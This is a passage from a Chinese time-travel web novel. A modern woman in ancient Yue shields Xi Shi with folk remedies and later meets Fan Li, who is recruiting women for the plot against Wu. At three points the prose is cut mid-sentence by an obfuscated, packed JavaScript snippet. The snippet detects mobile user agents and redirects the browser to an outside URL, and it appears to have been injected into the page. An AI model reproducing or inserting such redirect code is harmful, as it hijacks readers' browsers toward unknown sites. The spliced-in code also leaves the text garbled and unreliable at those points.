李婶额上冒着虚汗,“去镇上抓药,路远不说,那药钱也……阿青姑娘,你上回给王阿婆弄的那个暖肚子的草叶子,还有没有?我、我拿这把新摘的嫩苎麻跟你换,行不?”她手里紧紧攥着一把青翠的苎麻叶,指尖都勒白了。 施晓青连忙扶她进屋坐下:“李婶先坐,苎麻您留着。我看看。” 她仔细问了问症状,确定是常见的寒湿腹痛,便去取了晒干的艾叶和少许老姜皮,用布包好,又倒了碗温水: “这个,您用热水闷一会儿,连水带渣喝下,盖着被子发发汗。若是不见好,或疼得更厉害,可千万要去找郎中看看。” 李婶千恩万谢地捧着布包走了。第二天,她就精神了不少,特意让自家小子送来两个还温热的糙米饼。 消息就这么悄悄传开了。 头疼脑热的,蚊虫叮咬肿了一大片的,小儿夜里睡不踏实、腹胀积食的,甚至还有年轻媳妇红着脸,支支吾吾问月事腹痛怎么办的……施晓青那间简陋的小屋,渐渐成了村里一个心照不宣的去处。 她总是那几句话: “严重了可得找郎中。” “这都是土法子,您信就试试。” “不用钱,换点您家富余的就行。” 一捧豆子,几根柴火,一把野菜,甚至只是帮她将水缸挑满的力气活,都成了“诊金”。人们叫她“阿青姑娘”,语气里多了些以前没有的尊重和感激。 这变化,终于惊动了里正。 这天下午,里正沉着脸,背着手踏进了施家小院,目光如刮刀般扫过檐下晾晒的各式草叶、根茎。 “施晓青!” 他声音严肃,“你一个姑娘家,整天鼓捣这些来路不明的草根树皮,还给人弄这弄那,像什么样子?出了事,你担得起吗?” 施晓青正在分拣艾叶,闻声放下手里的活计,转过身,垂手站好,语气平静:“里正叔,我没给人看病,也不敢。就是些祖辈传下来、或者听路过老人讲的土法子,帮乡亲们应付点小疼小痒。每次都叮嘱,不见好一定得找正经大夫。” 里正从鼻子里哼了一声:“说得好听!人命关天,是你能‘帮把手’的?” “里正叔说的是。” 施晓青抬眼,目光澄澈,“所以李婶腹痛那次,王阿婆孙子出疹子浑身滚烫那次,我都紧着让他们情况一不对就去找郎中。可当时若没那土法子先缓一缓,怕是要多遭不少罪。 如今村里……事多,大家心里都不安生,身子骨舒坦些,日子不也松快些么?您管理村子,不也盼着大伙儿都安稳么?” 里正被她这番不卑不亢的话堵得一噎。他当然知道那些“土法子”确实管了点用,更知道最近村里人对这丫头的看法变了。 他盯着施晓青看了半晌,终究没再训斥,只狠狠甩下一句: “你心里有数就行!别惹出乱子,否则谁也保不了你!” 看着里正负气离开的背影,施晓青轻轻呼出一口气。 7. 上山 时机,在半个月后悄然到来。 一个闷热的午后,天空阴沉,预示着大雨。 几个穿着比上次吏员更精干、腰间佩刀的陌生汉子,在一个面白无须、眼神锐利的中年人带领下,再次来到苎萝村。 他们没有惊动太多人,直接进了里正家。 村口玩耍的孩童飞快地把消息传开。施晓青正在后院翻晒草药,听到消息,心头一凛。 她知道,这很可能就是核实的人来了。而且看架势,比上次更加正式,更具压迫感。 她强迫自己镇定,加快手上的动作,脑子飞速运转。 谣言已散播,夷光家已承受压力,但最终的裁决,恐怕就在今日。 她之前所做的一切,都将在这一刻,接受检验。 她不是主角,甚至可能不会被传唤。 但她必须做点什么,为夷光,也为自己这半个月来辛苦织就的、脆弱的护盾,增加一点分量。 她迅速包好几包常用的、药性平和的草药包——安神的、防暑的、止泻的,又用干净的陶碗盛了一碗自己熬煮、晾凉了的薄荷紫苏甘草饮。 然后,她深吸一口气,朝着里正家走去。 当施晓青端着陶碗、挎着药包出现在里正家院门外时,守门的村丁愣住了。 院里,隐约传来里正小心翼翼的回话声和那个面白无须者冷硬的询问声。 “烦请通报一声,”施晓青语气平静,声音不大却清晰,“近日天气闷热,易生暑气。民女熬了些清心去暑的凉饮,采备了些常用草药,送来给里正叔和各位远道而来的大人,略尽心意。” 她的姿态摆得很低,理由也很正当——关心长者与贵客身体。村丁犹豫了一下,还是进去通报了。 片刻,里正皱着眉出来了,压低声音带着怒意:“你来添什么乱?快回去!” 施晓青不退不让,依旧端着陶碗,微微提高声音,确保院里或许能听见:“里正叔,只是些山野常见的薄荷紫苏,加了点甘草,最是平和不过,解暑生津。还有这几包草药,都是村里人常用的,防蚊止痒、防暑散热。大人们在此时节奔波,最需注意身体。” 她的话,句句在理,透着关切,且毫无指涉夷光家事的敏感内容。 里正气得瞪眼,却又不好在院门口发作。 就在这时,院里那个面白无须的中年人,不知是听到了外面的对话,还是纯粹被惊动了,缓步走到了门口。 他目光如电,落在施晓青身上,带着审视和评估。 施晓青立刻低下头,做出恭顺畏惧的样子,将陶碗和药包举高了些:“民女施晓青,见过大人。一点乡野粗物,不成敬意,望大人莫嫌。” 中年人没接东西,只是看着她,片刻,才淡淡道:“你就是施晓青?听说,你颇通些草石之术?” “不敢当‘通’字。” 施晓青头垂得更低,“只是自幼多病,听过往长辈提及些调理土方,认得几样常见草药。近来乡邻偶有小恙,便以此相助,不敢言术。” “哦?”中年人语调平平,“那施夷光家的旧疾,你可曾相助过?” 施晓青心头猛跳,面上却努力维持镇定:“夷光姐姐确有气弱之症,时有心口不适。民女只是将自家常用的薄荷紫苏等平和之物,与她分享,助其舒缓,并无他法。此等小恙,村中知晓者不少,算不得秘密。” 中年人盯着她看了几秒,那双眼睛里似乎能洞察人心。施晓青的后背瞬间被冷汗浸透,但举着陶碗的手稳如磐石。 终于,中年人移开了目光,似乎对这个问题失去了兴趣,或者,已经得到了他想知道的某种信息。 他没接陶碗,只对里正道:“东西收下吧。核查之事,本官自有分寸。”说罢,转身回了院内。 里正连忙接过陶碗和药包,狠狠瞪了施晓青一眼,用口型无声地说:“还不快滚!” 施晓青如蒙大赦,躬身行礼,快步退走。 直到拐过屋角,远离了里正家的视线,她才腿一软,靠在了土墙上,剧烈地喘息起来,心脏狂跳得像是要撞出胸腔。 她不知道自己的出现和那番对答起到了什么作用。 或许毫无用处,或许……有那么一丝微小的可能,让那位“核查者”意识到,施夷光在这个村里,并非孤立无援,她有一个看似普通、却隐约有着不同能量的“朋友”或“帮手”?又或者,她那番关于夷光的描述,加深了夷光“体弱”的印象? 不确定。 但主动,总好过完全的被动和消失。 当天傍晚,那群人离开了苎萝村,没有带走任何人,也没有留下任何明确的说法。 但次日,里正被悄悄传唤去了一趟镇上。回来时,脸色复杂,看不出喜怒。 他召集了村里有适龄女子的人家,宣布:遴选之事,苎萝村的名额已定,具体人选由上峰裁定,不日或有通知。让大家……各自安生,勿再议论。 没有指名道姓,但“勿再议论”四个字,像一道无形的禁令,让关于夷光家“舅舅”的流言,骤然失去了公开传播的土壤。 私下里或许还有,但明面上,这股风算是被强行压下了。 夷光家没有被点名选中。 也没有被明确排除。 一种诡异的、悬而未决的沉默,笼罩下来。但这沉默,比起之前汹涌的恶意和明确的选拔压力,已然是天壤之别。 施晓青知道,她和夷光,或许赢得了一丝宝贵的喘息之机。 夜晚,施晓青再次溜到夷光家后院。隔墙递过去的不再是药包,而是一小包晒干的、金黄色的野菊花。 “泡水喝,清肝明目。”她的声音带着一丝疲惫,却也有放松,“最坏的时候,暂时过去了。” 墙内传来夷光轻轻吸鼻子的声音,然后是她努力平稳的语调:“嗯。阿青,谢谢你。” “谢什么,路还长。”施晓青仰头,看着夜空稀疏的星子,“我们得想想,接下来,怎么把这个‘凹槽’,变成真正的‘立足之地’。” 风从山间吹来,带着湿气和草木的腥味。 大雨,似乎就要来了。 清晨,天色灰蒙蒙的,山间雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486882|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气未散。 施晓青背起一个略显破旧但结实的竹篓,里面放着采药的小锄、绳索、几个空布袋,还有用树叶包好的两块糙米饼和一小竹筒清水。 她绕到夷光家后墙,学了两声布谷鸟叫。 不多时,后门悄无声息地开了一条缝,夷光闪身出来。 她今日穿了一身便于山行的深青色粗布衣裙,头发紧紧挽起,用木簪固定,脸上蒙着一块素色的粗麻布巾,只露出一双沉静的眼。 两人对视,无需多言,默契地朝着村后通往更深山林的小径走去。 晨雾在林间流淌,濡湿了衣角和发梢。 空气清凉,带着泥土和腐殖质的厚重气息,偶尔传来几声清脆的鸟鸣,更显山野幽深。 远离了村中令人窒息的氛围,夷光紧绷的肩膀似乎松了一些,她深深吸了几口带着草木清香的空气,眼神也活泛了些许。 “还是山里好。”她轻声说,声音透过布巾显得有些闷。 “嗯,人心比山鬼复杂。” 施晓青走在前头,用一根削尖的木棍拨开挡路的荆棘和垂挂的藤蔓,小心留意着脚下的湿滑苔藓。 她今天的目标是几种生长在背阴坡或溪涧旁的草药,或许能补充一些日渐减少的库存,也顺便探探更深处的路径。 两人一前一后,在林间默默穿行。 施晓青不时停下,辨认着路边的植物,偶尔弯腰采下几株品相不错的车前草、金银花藤,或是几片肥厚的藿香叶。 夷光跟在一旁,努力记着施晓青的讲解:“这是鱼腥草,气味冲,但清热尚可,需慎用……那是夏枯草,结穗时采全草……” 她们越走越深,林木愈发高大茂密,遮蔽了天光,四周雾气也更浓了。 潺潺的水声隐约传来,提示着附近有溪涧。 “前面好像有水声,我们去那边看看,或许有喜湿的草药。”施晓青侧耳听了听,指向左前方。 拨开一片茂密的蕨类植物,一条清澈但水流颇为湍急的山涧出现在眼前。 涧水撞击着嶙峋的乱石,溅起白色的水花。对岸是更陡峭的山坡,植被森森。 施晓青目光扫过涧边潮湿的石头,果然发现了几丛长势良好的石菖蒲,正要涉水过去采摘,夷光却轻轻拉住了她的衣袖。 “阿青,你看那边……” 夷光的声音带着一丝不易察觉的紧张,指向山涧上游一处被几块巨大卵石半遮掩的河滩。 施晓青凝目望去。 雾气与水汽氤氲中,只见一个身影半倚在最大的一块卵石旁,似乎无法动弹。 看衣着,并非村里常见的粗麻短褐,而是质地更好的深色葛布长衫,但此刻那长衫下摆已被涧水浸透,沾满了泥污,左腿以一种不自然的角度弯曲着,裤腿上隐隐有深色痕迹渗开。 是个受伤的男子,而且看打扮,绝非普通山民或樵夫。 施晓青心头一紧,下意识地将夷光往自己身后挡了挡。 深山老林,陌生受伤男子,怎么看都透着危险。 多一事不如少一事。 8. 命运 “我们……绕开吧。” 晓青低声道,拉着夷光准备后退。 夷光却站着没动。 她的目光落在那个身影微微起伏的胸膛上,又移向他紧闭的双眼和苍白失血的嘴唇。 “他还活着,”她的声音很轻,带着一丝不忍,“伤得不轻,若无人管,在这山里……” “夷光,”施晓青打断她,语气严肃,“此人来历不明,衣着不凡,却孤身出现在此深涧,还受了重伤。恐非善类,或牵连麻烦。我们自身尚且难保,不宜节外生枝。” 她说的是最现实的考量。 她们两个弱女子,在这无人处,面对一个身份不明的受伤男子,风险太大了。 夷光咬着下唇,布巾上的眉眼蹙起。 那蹙眉的模样,瞬间击中了施晓青—— 不是寓言里东施刻意模仿的矫饰,而是真真切切的、源自善良本性的不忍与挣扎。 清澈的眼眸里映着涧水的微光和雾气,仿佛蒙上了一层令人心碎的轻愁。 施晓青在心里重重叹了口气。 她知道,自己终究是看不得夷光这样。 这女子的心,太软,也太干净。 而自己,似乎也见不得这份干净被现实的冷酷碾碎。 “罢了。” 她妥协般低语,却仍保持着警惕,“我去看看,你站在这里别动,若有不对,立刻往回跑,别管我。” 夷光想说什么,施晓青已将她推到一棵粗壮的树后,自己则握紧了手中的木棍,慢慢向那受伤男子靠近。 走到近前,才看清这男子约莫三十上下年纪,面容清癯,即使因失血和疼痛而脸色苍白,眉宇间仍残留着一股不同于山野村夫的文气与……一丝隐约的锐利。 他的左腿小腿处有明显摔伤和刮擦,更严重的是脚踝处,肿胀得厉害,呈不自然的青紫色,疑似扭伤或骨折。 身侧的卵石上,还散落着几卷被水浸湿、字迹模糊的竹简,和一个打翻的背囊,里面滚出几枚刀币和一块沾泥的玉珏。 绝非寻常人物。施晓青的心又沉了沉。 她蹲下身,先探了探男子的鼻息,虽然微弱但尚且平稳。 又检查了一下他的伤腿,避开了明显的骨折处,轻轻按压肿胀的脚踝边缘。 “唔……” 男子发出一声压抑的痛哼,紧闭的双眼颤动了几下,缓缓睁开。 那是一双极为清醒冷静的眼睛,即便在剧痛和虚弱中,依旧迅速聚焦,锐利地扫过施晓青的脸和她手中的木棍,又在瞬间评估了周围环境,最后目光掠过施晓青,落在远处树后隐约的深青色身影上,停顿了一瞬。 “姑娘……莫怕。” 他开口,声音沙哑干涩,却带着一种奇异的、令人不自觉想要倾听的沉稳语调,“在下……并非歹人。入山访友,不慎……失足跌落,伤了腿脚。” 他说话间,因疼痛而微微吸气,但语句清晰,解释合理。 施晓青没接话,只是看着他。 访友?这深山老林,访哪门子友?这说辞,漏洞百出。 男子似乎也知自己的理由牵强,苦笑了一下,试着动了动身体,却引来更剧烈的疼痛,额角渗出冷汗。 他看了看自己狼狈的样子和散落的东西,又看向施晓青戒备的眼神,以及远处那个始终没有靠近、却显然在关注这里的蒙面女子。 “在下……姓范,单名一个立字。” 他顿了顿,报出一个化名,“多谢姑娘驻足。不知……可否劳烦姑娘,帮在下折两根直些的树枝,再寻些结实的藤蔓来?这腿……需得固定一下,否则恐落下残疾。” 他言辞恳切,姿态放得很低,将自己置于求助者的位置。 施晓青依旧沉默。她在权衡。 帮他,可能会惹上未知的麻烦。不帮,夷光那边……而且,这男子气质不凡,或许……也能从他口中得到一些外界的信息? 她对吴越局势的了解仅限于模糊的历史脉络,具体细节、近期动向,一无所知。信息,永远是稀缺资源。 “阿青……”夷光的声音从树后轻轻传来,带着一丝恳求。 施晓青闭了闭眼,再睁开时,已有了决定。 “你等着。”她生硬地说了一句,转身去附近寻找合适的树枝和藤蔓。 她没有完全放松警惕,动作很快,始终用眼角余光注意着那男子的动静。 男子,范立,只是安静地倚着石头,看着她的动作,又偶尔将目光投向树后的方向,眼神幽深,不知在想些什么。 很快,施晓青找来了两根笔直坚韧的树枝和几根柔韧的老藤。 她依照有限的急救知识,示意范立自己将伤腿稍微放平,然后小心翼翼地将树枝放在他小腿两侧,避开骨折处,用藤蔓上下捆扎固定。 她的动作算不上熟练,但足够仔细。 范立痛得脸色发白,却咬紧牙关一声不吭,配合着她的动作。 固定好伤腿,施晓青又从自己竹篓里拿出水筒,递给他。 范立接过,道了声谢,小口喝了几口,干裂的嘴唇稍稍湿润。 “你的背囊。” 施晓青将他散落的东西粗 略收拾了一下,连那几卷湿透的竹简也一并塞回背囊,放到他手边,却没有去碰那玉珏和刀币。 “我们能做的只有这些。这山涧湿冷,你最好尽快设法联系你的人。”她说完,就打算起身离开。 “姑娘且慢。”范立叫住了她,目光落在她沾着泥污和草叶的衣角,又看看她身后的竹篓,“姑娘……可是懂些草药?” 施晓青身形一顿,没承认也没否认。 范立似乎并不需要她回答,自顾自地缓缓说道:“观姑娘行事,沉稳有度,不似寻常村女。如今这世道,山野之间,能有如此心性者,不多见了。” 他顿了顿,目光似乎无意地扫过远处夷光的方向,声音压低了些,带着一种推心置腹般的感慨,“越地山川虽好,却非久安之乡。吴地战云密布,越人枕戈待旦,这平静……不知还能维系几时。” 施晓青霍然抬头看他。 范立迎着她的目光,眼神深邃,像是透过她,看到了更远的地方。 “美人如玉,珍宝易碎。越是美好的事物,越易招来觊觎,也越需小心呵护,远离漩涡。” 他意有所指,语气中带着一种淡淡的、仿佛洞察一切的怅惘,“近日,各方耳目活动频繁,乡野之间,亦非净土。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486883|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二位姑娘……尤其需谨慎,若无必要,少出远门,少惹注目。须知,有些事,一旦被卷入,便再难由己。” 他的话,像是在提醒,又像是在……暗示什么。 施晓青背脊发凉。他知道什么?他认出夷光了吗?还是仅仅出于对两个陌生村女的泛泛告诫? “你……究竟是谁?”施晓青忍不住问,声音紧绷。 范立却只是虚弱地笑了笑,没有回答这个问题,而是伸手从背囊里摸索片刻,取出那枚沾泥的玉珏,用衣袖仔细擦了擦,递向施晓青。 “今日蒙二位姑娘相助,无以为谢。此物虽不值钱,却是在下随身所佩,聊表心意。他日若……若遇难处,或许可凭此物,往会稽城西陶朱记寻个方便。” 玉珏温润,雕工简洁古雅,绝非俗物。 施晓青没有接。 “不必了,举手之劳。我们该走了。”她拒绝得干脆,拉起已经悄悄走过来的夷光,转身就要离开。 “姑娘,”范立的声音再次传来,这次更轻,却清晰地送入两人耳中,“记住我的话。漩涡将至,保全自身,方为上策。有些路,看着是青云梯,实则……是焚身火。” 施晓青脚步未停,拉着夷光迅速没入来时的林间小径。 直到走出很远,彻底看不见那片山涧,也听不到水声,两人才停下脚步,靠在一棵大树下喘息。 林中雾气似乎更浓了,将她们的身影笼罩。 夷光扯下脸上的布巾,脸色有些苍白,眼神惊疑不定:“阿青,那个人……他最后那些话……” “他认出你了。” 施晓青肯定地说,手心一片冰凉,“就算没完全确定,也起了疑心。他那些话,句句意有所指。‘美人如玉’、‘远离漩涡’、‘青云梯’、‘焚身火’……” “那玉珏……” “不能要。沾上了,就更说不清了。” 施晓青眉头紧锁,“会稽城西陶朱记……这名字……” 她隐约觉得耳熟,却一时想不起在哪里见过或听过相关记载。 “他说吴地战云,越人枕戈……阿青,外面……真的已经那么紧张了吗?”夷光的声音有些发颤,“那我们……” “我们先回去。” 施晓青打断她,语气坚定,“今天的事,对谁都不要提,尤其是遇到这个人的事。记住他的话,少出门,少惹注目。其他的……我们需要好好想想。” 她拉起夷光,两人沿着原路,加快脚步往村子方向返回。 来时还算轻松的山路,此刻却仿佛危机四伏,每一片晃动的树叶,每一声突兀的鸟叫,都让她们心惊肉跳。 那个自称“范立”的男子,像一阵突如其来的山雾,迷了她们的眼,也带来了山外世界凛冽而真实的风声。 施晓青紧紧握着夷光的手,感觉她指尖的冰凉一直传到自己心里。 那个男人看夷光的眼神,那意味深长的告诫……历史的齿轮,难道真的要以这种方式,再次咬合上来吗? 她们之前所做的一切,那小心翼翼的躲避,那用名声换来的喘息之机,在这隆隆而来的大势面前,究竟能抵挡几分? 山风穿过林隙,发出呜咽般的声响,如同某种不祥的预言。 9. 抉择 回村的路,比来时漫长得多。 施晓青紧紧拉着夷光的手,两人几乎是一路疾走。 林间雾气渐渐散去,午后的阳光透过枝叶缝隙洒下来,却驱不散她们心头那股阴冷的战栗。 那个自称“范立”的男子,他说的每一个字,都像楔子一样钉在脑海里,挥之不去。 直到远远望见苎萝村熟悉的屋舍轮廓,两人才不约而同地放慢脚步,对望一眼,都从对方眼中看到了惊疑未定的余悸。 “阿青,”夷光的声音压得极低,几乎是耳语,“他会不会……告诉别人,见过我们?” 施晓青摇头,又点头,最后只是用力握了握夷光的手:“不知道。但我们只能当作什么都没发生。记住,今日进山,只采了药,什么都没遇见。” 夷光点头,那双清澈的眼眸里,第一次有了某种沉甸甸的东西,一种朦胧的、她自己都未完全理解的警醒。 两人在村口分开,各自归家。施晓青关上自家那扇吱呀作响的木门,将竹篓放下,后背抵在门板上,闭上眼,深深呼吸。 那个名字——“陶朱记”。 她终于想起来了。 范蠡。越国大夫,勾践的肱骨之臣,后世被称为“陶朱公”的商圣。他助越灭吴后,功成身退,化名“鸱夷子皮”,经商致富,自号“陶朱公”。 “范立”,分明是“范蠡”二字的化用。 她方才亲手固定伤腿的那个男子,竟是范蠡本人。 施晓青顺着门板滑坐到地上,手脚冰凉。 范蠡出现在苎萝村附近的山中,绝非偶然。历史上,正是他奉勾践之命,遍访越地,为“美人计”遴选合适女子,最终选中了西施和郑旦。 他看到了夷光。隔着雾气,隔着蒙面的布巾,隔着那么远的距离,他还是看到了。 “美人如玉,珍宝易碎。” “漩涡将至,保全自身,方为上策。” “有些路,看着是青云梯,实则焚身火。” 施晓青抱紧双膝,将脸埋在臂弯里。 历史书上冷冰冰的几行字,此刻化作有血有肉的恐惧,向她碾来。 她以为她可以挡,可以躲,可以用小聪明为夷光争一丝喘息之机。可范蠡的出现告诉她,那只是螳臂当车。 她护不住夷光。 除非……除非夷光自己,有了别的选择。 接下来的日子,表面波澜不惊,暗地里却涌动着一股诡异的暗流。 先是村里来了几个陌生面孔,在村口茶棚歇脚,跟人闲聊,问些无关紧要的闲话——收成如何,村里有多少户人家,年轻人多不多。 再后来,有人看见他们在施老二家附近转悠,像是路过,又像是在打量什么。 施晓青的心一天比一天沉。 夷光没有再来找她。 施晓青几次夜里绕到后墙,学布谷鸟叫,都没有回应。她心急如焚,却不敢贸然上门。 夷光家如今正处在某种无形的审视之下,任何异动都可能被放大、被解读。 第七日夜里,后墙终于传来轻轻的叩击声。 施晓青几乎是扑过去的。 月光下,夷光站在墙外,瘦了许多,下巴尖削,眼下有淡淡的青影,但那双眼睛却亮得惊人,像是燃着一簇小小的、幽暗的火。 “阿青,我有话跟你说。”她的声音很轻,却很稳。 两人躲到施晓青家后院那个被草药香气笼罩的角落里,蹲在矮墙的阴影中。月光被云层遮住,四周漆黑一片,只有彼此的呼吸声清晰可闻。 “那些人,你见到了?”施晓青问。 夷光点头:“我阿父阿母吓坏了。他们以为是来抓人的,阿母病了,躺在床上起不来。阿父整夜整夜睡不着,头发白了一半。”她的声音平静,平静得让施晓青心头发紧。 “后来呢?” “后来,有人来我家。” 夷光的声音微微一顿,“不是那些在村里转悠的人,是一个……看起来很体面的中年人。他单独见了我阿父,说了很久的话。阿父回来后,什么都不肯说,只是看着我发呆,然后躲到后院,一个人坐了很久很久。” 施晓青的心沉到谷底。 那是范蠡的人,或许就是范蠡本人。 “阿青,”夷光忽然抬起头,黑暗中看不清她的表情,只有那双眼睛亮得骇人,“那个人,是那天我们在山里遇到的那个人,对不对?” 施晓青沉默片刻,终于点头:“对。他叫范立,化名。他的真名,是范蠡。越国大夫,越王勾践的心腹谋臣。” 夷光没有惊讶,只是轻轻“嗯”了一声,仿佛早有预料。 “他来苎萝村,是在……选人。”施晓青艰难地开口,“选容貌出众的女子,送去会稽城训练,然后……献给吴王夫差。这是越国复仇大计的一部分。夷光,你……” “我知道。”夷光打断她,“那个人,跟我阿父说的,就是这些。他说越国需要我。说这是大义,是忠君,是报国。说我若去,便是越国的功臣,我的父母宗亲,都会得到庇护和赏赐。” 她的声音依然平静,平静得近乎冷酷,“他说了很多,但意思只有一个——我没有别的选择。” “不!”施晓青猛地抓住她的手,“你还有选择!我们可以跑,逃到别的地方去,越国那么大,吴国那边也可以……” “逃不掉的。”夷光摇头,动作很轻,却带着一种看透一切的悲凉,“那个人说得很清楚,若我拒绝,便是抗命,是对越国不忠。不仅我,我父母,我宗亲,甚至……甚至整个苎萝村,都会被牵连。阿青,那不是我能承受的代价。” 施晓青的手慢慢松开。她知道夷光说的是真的。在绝对的力量面前,个人的挣扎是多么渺小。 她可以用小聪明挡一次官差,可以用谣言争一丝喘息,但当范蠡本人亲自出面,当整个国家的意志碾过来时,她那点来自现代的见识,不过是一粒尘埃。 “所以……你答应了?”她的声音沙哑。 夷光沉默了很久很久。 月光从云层后露出一角,清冷地洒在她脸上。那张绝世容颜上,没有泪,没有惧,只有一种施晓青从未见过的、深不见底的平静。 “阿青,”她开口,声音轻得像一片羽毛,却一字一字清晰地落在施晓青心里,“那天在山里,那个人说的话,你还记得吗?” “记得。他说漩涡将至,保全自身为上。还说有些路看着是青云梯,实则是焚身火。” “对。”夷光的嘴角弯起一个极淡的弧度,不是笑,只是一种复杂的情绪流露,“他说的是对的。那是焚身火。可阿青,你有没有想过——如果这焚身火,是我自己选择的呢?” 施晓青怔住。 “这些天,我在家想了很多。” 夷光垂下眼睫,声音缓缓流淌,“我生来就带着这张脸,从小到大,它给我带来的,从来不是什么好事。村里女子嫉妒我,不愿与我亲近。村外的人见了,眼神里只有觊觎和算计。我曾无数次想过,若能换一张普通的脸,像你一样,该多好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486884|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她顿了顿,“可后来遇到你,我才知道,脸可以普通,心却不能普通。你那么努力地帮我,教我那些草药,教我怎么‘藏’,教我怎么保护自己……阿青,你以为我看不出吗?你想让我逃脱那个命运。” 施晓青喉咙发紧,说不出话来。 “可这些天,看着阿父的头发一夜白了一半,看着阿母病倒在床,看着那些人一次一次来,每一次来,他们的恐惧就加深一层……我突然想明白了。” 夷光抬起头,月光在她眼里碎成点点微光,“我逃不掉的。不是因为那张脸,是因为这个世道。只要越国和吴国还在打仗,只要越王还想复仇,我这副容貌,就永远是筹码,是棋子。不是今天,就是明天,不是范蠡,就是别人。我逃到哪里,它就跟到哪里。” “所以……” “所以,与其被当作棋子,任人摆布,不如……”夷光的声音微微一顿,像在酝酿某个极其沉重的决心,“不如我自己走上那棋盘,自己握住那枚棋子。” 施晓青的瞳孔骤然收缩。她听懂了。 “夷光,你知道那意味着什么吗?” 她的声音发颤,“你要去敌国当卧底。你要欺骗的是吴王,是无数吴国人。一步踏错,死无葬身之地。就算成功了,越国赢了,你以为他们会怎么对你?是功臣?不,你见过历史……你见过那些史书吗?你只会是‘红颜祸水’,只会是‘以色侍人’,只会是……一件用过就可以丢弃的工具!” 她知道她不该说这些。 这些话太超前,太不符合这个时代,太像一个疯子的呓语。 可她控制不住自己。 她看着夷光,看着她眼里的那簇小火,她知道那火一旦燃起来,会烧掉什么。 夷光静静地看着她,等她说完,才轻轻开口:“阿青,你说的那些,我都不知道。可我知道一件事。” “什么?” “如果我不去,我父母,我宗亲,甚至你,都会被牵连。那个人的话,我听懂了——这是‘自愿’的选择,可若我不‘自愿’,就会有别的方式。” 夷光的声音依旧平静,平静得让人心疼,“如果注定要成为棋子,我宁愿做一个有眼睛、有耳朵、有心肝的棋子。至少……至少我还能知道自己在做什么,至少我还能……做一些事。” 她伸出手,握住施晓青冰凉的手,那双手在微微颤抖,可她的声音却稳得像一块磐石:“阿青,你已经教过我很多东西了。可现在,我想学别的。” “学什么?” “学怎么在那焚身火里,活着走出来。”夷光的眼睛亮得像暗夜里的星辰,“你愿意……继续教我吗?” 施晓青张了张嘴,一个字也说不出来。 泪水毫无预兆地涌出来,模糊了她的视线。 她紧紧反握住夷光的手,用力到指节发白。她曾无数次想过要改变历史,要救夷光于水火。 可她从未想过,有一天,会是夷光自己,握着她的手,告诉她:我要走上那条路,但你,要陪我一起走。 “傻子……”她的声音哽咽,“你知道那是什么路吗?那是万丈深渊。” “我知道。”夷光的眼眶也红了,却始终没有流泪,“可深渊里,若有一盏灯,是不是就不那么可怕了?” 施晓青闭上眼,任由泪水滑落。良久,她睁开眼,看着眼前这个曾经柔弱如白荷、如今却决绝如磐石的少女,轻轻点了点头。 “好。” 一个字,却是她穿越以来,许下的最重的承诺。 10. 最好的安排 次日晌午,里正家的后生匆匆跑来,在夷光家门外喊:“施老二,里正请你过去一趟,现在就去!” 夷光的父亲正在院里劈柴,手一抖,斧头差点砸在脚上。他愣了片刻,放下斧头,在衣襟上擦了擦手,什么也没说,跟着那后生走了。 夷光从屋里出来,望着父亲佝偻的背影消失在巷口,手指紧紧攥住了门框。 半个时辰后,父亲回来了。 他没有进屋,只是在院中的石墩上坐下,一动不动。阳光照在他脸上,照出木然的表情和眼角尚未干透的泪痕。他就那样坐着,像一尊泥塑。 夷光的母亲挣扎着从床上爬起来,扶着墙走到门口,看见丈夫的样子,声音发颤:“他阿父……怎么说?” 父亲没有回答。 母亲的声音带了哭腔:“你倒是说话啊!是不是……是不是……” 父亲终于抬起头,看了她一眼。那一眼里,有疲惫,有绝望,还有一种说不清的东西。他站起身,走进屋里,扶着妻子坐下,用很低很低的声音,说了几句话。 夷光站在门外,听不清说什么。她只看见母亲的身体猛地僵住,然后,压抑的哭声从屋里传出来。 那哭声像被捂住嘴的野兽,绝望、破碎,却只持续了很短的时间,便归于沉寂。 * 三日后。 一辆不起眼的青帷马车停在村口,引来一群孩童远远张望。 一个穿着深褐色葛布长衫的中年人从车上下来,身后跟着两个挑担的仆从。他面容清瘦,举止儒雅,眼神温和却透着让人不敢直视的精明。 里正亲自陪着,一路走到夷光家门前。 “施老二,贵客来了!”里正的声音里带着从前没有的客气。 夷光的父亲站在门口,手足无措,嘴唇动了动,不知该如何称呼。 那中年人却先拱手为礼:“施家翁,在下姓王,在会稽城做些小本营生。受人所托,前来送些薄礼,顺便传个话。” 他一挥手,两个仆从将担子放下。一匹质地良好的绢帛,一小袋沉甸甸的钱币,还有几包用油纸包着的药材和补品。 